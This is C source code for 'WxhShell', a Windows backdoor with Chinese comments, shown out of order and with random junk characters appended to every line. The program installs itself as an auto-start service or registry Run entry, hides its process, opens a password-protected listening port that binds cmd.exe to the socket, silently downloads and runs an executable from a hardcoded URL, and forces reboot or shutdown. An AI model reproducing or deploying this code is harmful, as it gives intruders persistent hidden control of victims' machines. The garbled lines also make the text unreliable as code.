    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DZJ eup?Z  
    if(Boot(SHUTDOWN)) (F_w>w.h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c2/FHI0J;  
    else { rW[SU:  
    closesocket(wsh); DWuRJ  
    ExitThread(0); BApa^j\?  
    } ]X*YAPv  
    break; SLSF <$  
    } GL/  KB  
  // 获取shell /a%*u6z@  
  case 's': { 9QX4R<"wUg  
    CmdShell(wsh); l#Yx TY  
    closesocket(wsh); 7k>zuzRyF  
    ExitThread(0); Q5g,7ac8L  
    break; bpGzTU  
  } CP +4k.)*O  
  // 退出 Wt(Kd5k0'2  
  case 'x': { ?;Un#6b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =Qyqfy*@D?  
    CloseIt(wsh); 6mwvI4)  
    break; .Nc_n5D6  
    } Pow|:Lau!  
  // 离开 ,`<]>;s  
  case 'q': { Bgf=\7;5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TNx_Rc}  
    closesocket(wsh); \F[n`C"Is  
    WSACleanup(); ?k"0w)8  
    exit(1); 7 xUE,)?  
    break; 3Mw}R6g@#  
        } .M8=^,h^K  
  } B0v|{C   
  } C]/&vh7ta  
FK6K6wU52m  
  // 提示信息 Z^<Sj5}6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rmoJ =.'  
} #7+]%;h  
  } I:nI6gF  
WI6(#8^p  
  return; >ZX|4U[$P  
} !Pw$48cg  
q=njKC  
// shell模块句柄 ;:U<ce=  
int CmdShell(SOCKET sock) O'OFz}x),  
{ A9t8`|1"%H  
STARTUPINFO si; Gp,'kw"I  
ZeroMemory(&si,sizeof(si)); :v_w!+,/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZlrhC= 0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C *a,<`  
PROCESS_INFORMATION ProcessInfo; ;t|,nz4kJ  
char cmdline[]="cmd"; %w$ mSG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?;_H{/)m  
  return 0; <z',]hy  
} of=ql  
I :@|^PYw  
// 自身启动模式 `&H04x"Y$>  
int StartFromService(void) Y_+ SA|s  
{ >d97l&W  
typedef struct V;k#})_-  
{ A0OB$OK  
  DWORD ExitStatus; 2Q}7fht  
  DWORD PebBaseAddress; z#RuwB+  
  DWORD AffinityMask; 2qlIy  
  DWORD BasePriority; { a. <`  
  ULONG UniqueProcessId; {d,?bs)  
  ULONG InheritedFromUniqueProcessId; \TZ|S,FS  
}   PROCESS_BASIC_INFORMATION; bH,M,xIL2  
-8/JP  
PROCNTQSIP NtQueryInformationProcess; rfc|`*m}0  
K>$qun?5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /eb-'m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !O8.#+  
IhfZLE.,  
  HANDLE             hProcess; cN5"i0xk  
  PROCESS_BASIC_INFORMATION pbi; =6fB*bNk]  
RbKwO} z$q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bf(+ldq  
  if(NULL == hInst ) return 0; R1Yqz $#  
94y9W#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V,m3-=q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K_Re}\D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^\T]r<rCY  
%W&1`^Jl  
  if (!NtQueryInformationProcess) return 0; &*A:[b\  
[EruyWK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bLco:-G1E1  
  if(!hProcess) return 0; G%$}WA]|  
Td&d,;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p jd o|  
d+e0;!s~O  
  CloseHandle(hProcess); s*.3ZS5  
aDh|48}X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i&*<lff  
if(hProcess==NULL) return 0; 50 *@.!^*  
2 eHx"Ha  
HMODULE hMod; D?mDG|Z  
char procName[255]; 2qjyFTT  
unsigned long cbNeeded; DLXL!-)z  
6<PW./rk:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f7 wm w2  
o[oqPN3$Y  
  CloseHandle(hProcess); dWUUxKC  
h9jc,X u5X  
if(strstr(procName,"services")) return 1; // 以服务启动 Sk$KqHX(  
Fv A8T 2-v  
  return 0; // 注册表启动 _N@(Y:  
} F<gMUDB  
/=@e &e  
// 主模块 =W<[Fe3  
int StartWxhshell(LPSTR lpCmdLine) t H,sql)  
{ UBIIo'u  
  SOCKET wsl; iu|v9+  
BOOL val=TRUE; #2N_/J(U  
  int port=0; &r:=KT3  
  struct sockaddr_in door; =+\$e1Mb*  
x;(g  
  if(wscfg.ws_autoins) Install(); (kY@7)d'e  
tpGCrn2w>  
port=atoi(lpCmdLine); djGs~H>;U_  
7D9]R#-K  
if(port<=0) port=wscfg.ws_port; 6+e4<sy[E  
1mix+.d  
  WSADATA data; _*n)mlLln  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *uU4^E(  
EZ{\D!_Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4DM*^=9E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Yv=g^tw  
  door.sin_family = AF_INET; `2e_ L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 32^#RlSu8  
  door.sin_port = htons(port); }*Zo6{B-  
bw5T2wYZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XWXr0>!,?  
closesocket(wsl); $L\@da?  
return 1; KSsWjF}d  
} ]5)"gL%H`  
cmIT$?J  
  if(listen(wsl,2) == INVALID_SOCKET) { [4\aYB9N  
closesocket(wsl); 7 Kjj?~RA  
return 1; CW;m  
} =y<0UU  
  Wxhshell(wsl); :q;R6-|.  
  WSACleanup(); e96#2A5f  
63C(Tp"  
return 0; PkO!'X  
])UwC-l  
} &g {<HU?BT  
u GAh7Sop  
// 以NT服务方式启动 2rmNdvvrk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C5;wf3  
{ bQj`g2eyM  
DWORD   status = 0; B j=@&;  
  DWORD   specificError = 0xfffffff; ?S9Nm~vlt  
5W{hH\E _5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W0|_]"K-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; tvT4S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )ji@k(x27q  
  serviceStatus.dwWin32ExitCode     = 0; 6Hl < ,(vn  
  serviceStatus.dwServiceSpecificExitCode = 0; o?y"]RCM  
  serviceStatus.dwCheckPoint       = 0; :~er h}~ps  
  serviceStatus.dwWaitHint       = 0; gCL{Cw  
<r3Jf}%tT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K( z[ }  
  if (hServiceStatusHandle==0) return; MH FaSl  
3sb 5E]P  
status = GetLastError(); vzcz<i )  
  if (status!=NO_ERROR) l1DI*0@  
{ J?,?fqb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2+Zti8  
    serviceStatus.dwCheckPoint       = 0; 82s 5VQ6  
    serviceStatus.dwWaitHint       = 0; pl?kS8#U?  
    serviceStatus.dwWin32ExitCode     = status; k,lqT>C  
    serviceStatus.dwServiceSpecificExitCode = specificError; l#ZyB|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %p*`h43;  
    return; iJ4 <f->t  
  } %Co b(C&}  
#fN/LO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L^)qe^%3  
  serviceStatus.dwCheckPoint       = 0;  C/  
  serviceStatus.dwWaitHint       = 0; *_#&"(P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g&kH'fR8  
} SM$\;)L  
G:DSWW}  
// 处理NT服务事件,比如:启动、停止 bOe<\Y$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zsQF,7/}B  
{ qh H+m  
switch(fdwControl) c&b/Joi7@  
{ :l;,m}#@  
case SERVICE_CONTROL_STOP: 6&mWIk^VC  
  serviceStatus.dwWin32ExitCode = 0; 8yvJ`eL-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *0\k Z,#BJ  
  serviceStatus.dwCheckPoint   = 0; i(P>Y2s  
  serviceStatus.dwWaitHint     = 0; M/l95fp   
  { hg4J2m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V_lGj  
  } cCk1'D|X[e  
  return; pagC(F  
case SERVICE_CONTROL_PAUSE: 8:<1|]]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O"8P#Ed  
  break; wR(ttwxK3  
case SERVICE_CONTROL_CONTINUE: A(NEWO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wa2~C [  
  break; Hva{A #  
case SERVICE_CONTROL_INTERROGATE: a}w&dE$!-  
  break; Txu>/1N,  
}; >j- b5g"g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ],AbcTX  
} 'z~KTDX  
dX 0x Kk%#  
// 标准应用程序主函数 0S_Ra+e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PK8V2Ttv  
{ Rd0?zEKV  
B]i+,u  
// 获取操作系统版本 "(N-h\7Ex9  
OsIsNt=GetOsVer(); D"'#one  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rn8#0%/Q  
^>eFm8`N  
  // 从命令行安装 Nl=+.d6 Qo  
  if(strpbrk(lpCmdLine,"iI")) Install(); +yvBSpY  
Q6xgLx[  
  // 下载执行文件 ;=#qHo9k1%  
if(wscfg.ws_downexe) { Xz" JY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9'l.TcVm`,  
  WinExec(wscfg.ws_filenam,SW_HIDE); kr6:{\DU:B  
} |NXFla  
ypxC1E  
if(!OsIsNt) { S;BP`g<l=  
// 如果时win9x,隐藏进程并且设置为注册表启动 WVj&0  
HideProc(); J09ZK8 hK  
StartWxhshell(lpCmdLine); *x5o=)Y  
} 27$\sG|g  
else N!Rt;Xm2@  
  if(StartFromService()) wAPO{3  
  // 以服务方式启动  X+\0%|  
  StartServiceCtrlDispatcher(DispatchTable); 7@3M]5:3g  
else !SN6 ?Xy  
  // 普通方式启动 m[{nm95QZ  
  StartWxhshell(lpCmdLine); %N!h38N2  
JW2W>6Dgv[  
return 0; .ZM]%[4  
} U24V55ZnI  
V.+DP  
rC=f#YjR  
h@ EJTAi  
=========================================== <x^IwS  
p {w}  
N{|[R   
g\E ._ab<  
f.sPE8 #3=  
0GF%~6  
" s 8C:QC  
sY&r bJ(P  
#include <stdio.h> Idt@Hk5<&  
#include <string.h> zv>ZrFl*  
#include <windows.h> Z5 w`-#  
#include <winsock2.h> zp}yiE!bl  
#include <winsvc.h> 4{c`g$j>  
#include <urlmon.h> M,I68  
F@oT7NB/n  
#pragma comment (lib, "Ws2_32.lib") VNr!|bp5  
#pragma comment (lib, "urlmon.lib") 4c~*hMr y  
1V#B]x:  
#define MAX_USER   100 // 最大客户端连接数 !N@Yh"c  
#define BUF_SOCK   200 // sock buffer Z8N@e<!*~8  
#define KEY_BUFF   255 // 输入 buffer lrM.RM96  
\z<ws&z3`$  
#define REBOOT     0   // 重启 }Z<D^Z~w  
#define SHUTDOWN   1   // 关机 r@\,VD6J  
g4?Q.'dZr  
#define DEF_PORT   5000 // 监听端口 mOABZ#+Fk  
"87O4 #$  
#define REG_LEN     16   // 注册表键长度 &:IfhS  
#define SVC_LEN     80   // NT服务名长度 jqV)V>M.  
aU,0gvI(}  
// 从dll定义API zS#f%{   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Tq_1wX'\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H!Fr("6}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u66TrYStG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 56 /.*qa  
N^)<)?  
// wxhshell配置信息 7/$nA<qM  
struct WSCFG { nI((ki}v  
  int ws_port;         // 监听端口 ;))[P_$zB  
  char ws_passstr[REG_LEN]; // 口令 :T8u?@ .  
  int ws_autoins;       // 安装标记, 1=yes 0=no hlY S=cgY=  
  char ws_regname[REG_LEN]; // 注册表键名 Ih9ORp7  
  char ws_svcname[REG_LEN]; // 服务名 rcD.P?"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eA;j/&qH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iPR!JX _  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :Q0?ub]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (Q*2dd>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p7?CeyZ-V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UtHmM,*I  
3Y.d&Nz  
}; 3 LZL!^ 5N  
[M,27  
// default Wxhshell configuration )eIz{Mdp=  
struct WSCFG wscfg={DEF_PORT, eWqVh[  
    "xuhuanlingzhe", b6rzHnl{  
    1, HXl r  
    "Wxhshell", 7M&.UzIY`  
    "Wxhshell", a,F8+ Pb>  
            "WxhShell Service", 81%qM7v9H  
    "Wrsky Windows CmdShell Service", WHdqO8  
    "Please Input Your Password: ", j};pv2  
  1, M9ter&  
  "http://www.wrsky.com/wxhshell.exe", y&KoL\  
  "Wxhshell.exe" qkZ5+2m  
    }; Uv W:#  
`Lb _J  
// 消息定义模块 `&"H* Ie  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *;V2_fWJ@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3\+[38 _  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VdjU2d  
char *msg_ws_ext="\n\rExit."; Cz$H k;3\6  
char *msg_ws_end="\n\rQuit."; jSOa   
char *msg_ws_boot="\n\rReboot..."; q_%w l5\F  
char *msg_ws_poff="\n\rShutdown..."; Y'+F0IZ+  
char *msg_ws_down="\n\rSave to "; 8xeun~e"vS  
* 7zN  
char *msg_ws_err="\n\rErr!"; 8Pnqmjjj  
char *msg_ws_ok="\n\rOK!"; tOlzOBzR  
9phD5b~j  
char ExeFile[MAX_PATH]; 9>} (]T  
int nUser = 0; !Ed<xG/  
HANDLE handles[MAX_USER]; *cb D&R\  
int OsIsNt; (<AM+|  
{ 8|Z}?I  
SERVICE_STATUS       serviceStatus; _Oaso >  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZQJw2LAgO  
!pF KC)  
// 函数声明 4IGQ,RTB  
int Install(void);  HC<BGIgL  
int Uninstall(void); 0N} wD-  
int DownloadFile(char *sURL, SOCKET wsh); ho SU`X  
int Boot(int flag); }y -AoG  
void HideProc(void); 4,R\3`b  
int GetOsVer(void); ?L ~=Z\H  
int Wxhshell(SOCKET wsl); )=SYJ-ta<  
void TalkWithClient(void *cs); }X W#?l  
int CmdShell(SOCKET sock); @zVBn~=i  
int StartFromService(void); +2_6C;_DX  
int StartWxhshell(LPSTR lpCmdLine); gP_d >p:b  
s/p>30Fg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9b=^"K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <|>:UGAR  
'8kL1  
// 数据结构和表定义 aS1P]&  
SERVICE_TABLE_ENTRY DispatchTable[] = >x_:=%Wr+  
{  +lf@O&w  
{wscfg.ws_svcname, NTServiceMain}, wTgx(LtH  
{NULL, NULL} Vms7 Jay  
}; a\HtxR8L  
H?zCIue3  
// 自我安装 V=8{CmqT  
int Install(void) =:R[gdA#1  
{ )eedfb1  
  char svExeFile[MAX_PATH]; %]= 'Uv^x  
  HKEY key; 2Yg[8Tm#  
  strcpy(svExeFile,ExeFile); Ms$7E  
R~seUW7uv"  
// 如果是win9x系统,修改注册表设为自启动 1PT_1[eAR  
if(!OsIsNt) { A?{aUQB~|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t9-\x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fy+7{=?^F  
  RegCloseKey(key); 3!L<=X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e[VJ0 A=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nH3b<k;S  
  RegCloseKey(key); 0 S`b;f  
  return 0; oT5rX ,8  
    } JXa%TpI: E  
  } N6 }i>";_;  
} kI1{>vYD  
else { ?RjKP3P  
%~v76;H<  
// 如果是NT以上系统,安装为系统服务 bMK'J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MdTd$ 4J3  
if (schSCManager!=0) )*QTxN  
{  "lnk  
  SC_HANDLE schService = CreateService + 1%^c(3  
  ( =jd=Qs IL  
  schSCManager, pa> 2JF*  
  wscfg.ws_svcname, DuC u6j  
  wscfg.ws_svcdisp, @OL3&R  
  SERVICE_ALL_ACCESS, MsiC!j.-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Zo638*32  
  SERVICE_AUTO_START, p=5H^E m1  
  SERVICE_ERROR_NORMAL, MAhPO!e5.  
  svExeFile, $R#L@iL-  
  NULL, 8@C|exAD`  
  NULL, gt~2Br4  
  NULL, fm2Mi~}0  
  NULL, :aFpz6<  
  NULL p-03V"^&  
  ); bJMcI8`  
  if (schService!=0) ST [1'T+L  
  {  #,9TJ:~N  
  CloseServiceHandle(schService); 7J_f/st  
  CloseServiceHandle(schSCManager); YNQ6(HA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vYm& AD  
  strcat(svExeFile,wscfg.ws_svcname); ^DCv-R+ p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^Th"`Av5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Bc@r*zb  
  RegCloseKey(key); YV!V9   
  return 0; oX]1>#5UMg  
    } N %/DN  
  } V$F.`O!hfi  
  CloseServiceHandle(schSCManager); *gpD4c7A\  
} ,ce^"yG  
} MldL"*HW:  
\iE9&3Ie  
return 1; tS\NO@E_Jh  
} xr-`i  
_CwQ}n*  
// 自我卸载 %+W >+xRb  
int Uninstall(void) /F9lW}pd  
{ 7wEG<,D  
  HKEY key; -$|X\#R  
R3!vS+5rR  
if(!OsIsNt) { X|B;>q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { < 3+&DV-<N  
  RegDeleteValue(key,wscfg.ws_regname); h}<ZZ  
  RegCloseKey(key); M[N.H9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z7pXpy \  
  RegDeleteValue(key,wscfg.ws_regname); Z!l!3(<G.f  
  RegCloseKey(key); 2}C>{*}yQ  
  return 0; J0W).mD_H  
  } TK?+O}v-]!  
} !OVEA^6  
} kxf=%<l  
else { s ^@Cq=  
[jn;| 3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BiCa "  
if (schSCManager!=0) Sg~A'dG  
{ zi[M{bm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M{RZ-)IC  
  if (schService!=0) ? Z fhz   
  { q;~>h  
  if(DeleteService(schService)!=0) { +( (31l  
  CloseServiceHandle(schService); Yf`.Cq_:  
  CloseServiceHandle(schSCManager); D ;I;,Z  
  return 0; __%E!*m"<_  
  } 'n#S6.Y:  
  CloseServiceHandle(schService); (>`SS#(T!  
  } x`l; ;  
  CloseServiceHandle(schSCManager); w:+#,,rwzV  
} Bzt`9lg  
} E }j8p_p  
r:rJv  
return 1; fzG1<Gem  
} ]H7Mx\  
5kNs@FP  
// 从指定url下载文件 <5vB{)Tq  
int DownloadFile(char *sURL, SOCKET wsh) ;!sGfrs 0$  
{ r@UY$z  
  HRESULT hr;  M.^A`   
char seps[]= "/"; `bF;Ew;  
char *token; =_6h{f&Q  
char *file; &bK$!8Z  
char myURL[MAX_PATH]; rM.<Gi05Qe  
char myFILE[MAX_PATH]; cHct|Z u  
)Dpt<}}\  
strcpy(myURL,sURL); ^{bEq\5&  
  token=strtok(myURL,seps); Q8:ocEhR  
  while(token!=NULL) o_m.MMEU  
  { g$LwXfg  
    file=token; &JM;jS z  
  token=strtok(NULL,seps); }Cg~::,"  
  } k(+u"T  
A6.'1OD  
GetCurrentDirectory(MAX_PATH,myFILE); 8{ t&8Ql n  
strcat(myFILE, "\\"); 0Ch._~Q+20  
strcat(myFILE, file); n9-[z2n  
  send(wsh,myFILE,strlen(myFILE),0); `:O.g9  
send(wsh,"...",3,0); 0lN8#k>H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r0bPaAKw  
  if(hr==S_OK) 7E)7sd  
return 0; 2MeavTr  
else  gOAluP  
return 1; =(\!,S'  
TvwIro  
} :!h H`l}p  
!S{<Xc'wv  
// 系统电源模块 !WnI`  
int Boot(int flag) ji=po;g=E  
{ z59J=?|  
  HANDLE hToken; S,%HW87  
  TOKEN_PRIVILEGES tkp; S`KCVQ>V  
}dl(9H=4  
  if(OsIsNt) { RL9BB.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !,"G/}'^;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); axOy~%%c  
    tkp.PrivilegeCount = 1; OG`O i^2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0VPa;{i/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zy;w07-)  
if(flag==REBOOT) { u;}B4Rx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S}O\<6&  
  return 0; u)pBFs<dn  
} czRh.kz,  
else { :nEV/"#F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .x%SbG<k{  
  return 0; T,>e\  
} 4*W7{MPY  
  } 4iW 2hV@m  
  else { [_@OCiV5)  
if(flag==REBOOT) { bnQO}G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .5xg;Qg\Y  
  return 0; *JXJ 2  
} P s;:g0  
else { k 3XtKPO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g2q=&eI"  
  return 0; =p6xc}N  
} (J*0/7 eX  
} c qp#1oM4M  
 ]plC  
return 1; RoZV6U~  
} 8{u 01\0}  
M czWg  
// win9x进程隐藏模块 {%Sw w:  
void HideProc(void) ? |dz"=y  
{ h6t>yC\  
}Jfo(j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?#m5$CFp  
  if ( hKernel != NULL ) .YRSd  
  { (6{ VMQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P+UK@~D+G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cj *4 XYu  
    FreeLibrary(hKernel); y[rLk  
  } 9A!qg<  
3>6o=7/PU  
return; 'CX KphlWs  
} b.;W|$.  
6wgOmyJx  
// 获取操作系统版本 Y)`+u#` R  
int GetOsVer(void) ,}0pK\Y>$  
{ .bGeZwvf:G  
  OSVERSIONINFO winfo; (Q+3aEUE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9h{G1XL  
  GetVersionEx(&winfo); aJ5R0Y,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %ZK}y{u\  
  return 1; =qRVKz  
  else P'8 E8_M}  
  return 0; |*$_eb  
} n6f|,D!?  
Y<v55m-  
// 客户端句柄模块 -,&Xp>u\  
int Wxhshell(SOCKET wsl) i_"I"5pBF  
{ lLhCk>a  
  SOCKET wsh; %Y TIS*+0  
  struct sockaddr_in client; wah`  
  DWORD myID; "6i9f$N  
`O/)q^m1L  
  while(nUser<MAX_USER) L/I-(08!Y:  
{ 0bE_iu>f'  
  int nSize=sizeof(client); _f`m/l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nq=fSK(  
  if(wsh==INVALID_SOCKET) return 1; YaU A}0cW  
J"y@n ~*0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X#yl8k_  
if(handles[nUser]==0) @!$NUY8,A#  
  closesocket(wsh); rxARJ so  
else 2wd(0K}b  
  nUser++; jo ^*R'}  
  } ?6dtvz;K+?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k$UBZ,=iC  
?HY0@XILI  
  return 0; dQ[lXV[}v  
} *u }):8=&R  
^4"_I   
// 关闭 socket uOQ5.S+  
void CloseIt(SOCKET wsh) ]^y}}y  
{ yl}Hr*  
closesocket(wsh); 7@FB^[H:y  
nUser--; Ogb_WO;)  
ExitThread(0); 9O"?T7i"#  
}  J{y@ O  
C N"c  
// 客户端请求句柄 G\Me%{b#  
void TalkWithClient(void *cs) S%@$J~\rx  
{ IQDWH/ c  
|Xag:hof  
  SOCKET wsh=(SOCKET)cs; Ut+mm\7  
  char pwd[SVC_LEN]; bA)Xjq)Rr  
  char cmd[KEY_BUFF]; ^?2txLv,6  
char chr[1]; [3.rG!Na  
int i,j; HIF] c  
Aq"_hjp  
  while (nUser < MAX_USER) { [>-k(D5D  
HZT;7<  
if(wscfg.ws_passstr) { $spf=t"nh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uMI2Wnnc:/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j!s&yHE1  
  //ZeroMemory(pwd,KEY_BUFF); (GQy"IuFh  
      i=0; ?vVkZsU  
  while(i<SVC_LEN) { ,"'agg:St  
6]Jv3Re'(I  
  // 设置超时 Y'-Lt5SCS  
  fd_set FdRead; O v-I2  
  struct timeval TimeOut; 4g 1h:I/  
  FD_ZERO(&FdRead); +FiV!nRkZ  
  FD_SET(wsh,&FdRead); n'ro5D  
  TimeOut.tv_sec=8; =N=,;<6%A  
  TimeOut.tv_usec=0; G<-.{Gx)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z8 T{Xw6%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0pR04"`;  
3 *G=U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B;m18LDu  
  pwd=chr[0]; a5'QL(IX  
  if(chr[0]==0xd || chr[0]==0xa) { #xc[)Y,W  
  pwd=0; _VlN Z/V  
  break; bYtF#Y   
  } MiC&av  
  i++; L4NC -  
    } a-3~HH  
'/j`j>'!^  
  // 如果是非法用户,关闭 socket G > ,rf ]N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3t,SXI @  
} ?d %_o@  
oI>;O#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0XYxMN)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cdv TC`~,  
RwwKPE  
while(1) { T.pPQH__  
uk1IT4+  
  ZeroMemory(cmd,KEY_BUFF); C.@zVt  
lY1m%  
      // 自动支持客户端 telnet标准   oqj3Q 1  
  j=0; $*PyzLS  
  while(j<KEY_BUFF) { =y':VIVJC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 68y.yX[  
  cmd[j]=chr[0]; =3"Nn4Z  
  if(chr[0]==0xa || chr[0]==0xd) { pK3cg|}  
  cmd[j]=0; DGU$3w  
  break; '~@WJKk  
  } yqK82z5U*R  
  j++; p])km%zB(  
    } '1w<<?vX?  
u&qdrKx  
  // 下载文件 \z_@.Jw{  
  if(strstr(cmd,"http://")) { B4.hJZ5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d1,azM  
  if(DownloadFile(cmd,wsh)) E`i;9e'S  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "-hgeQX  
  else tly:$;K  
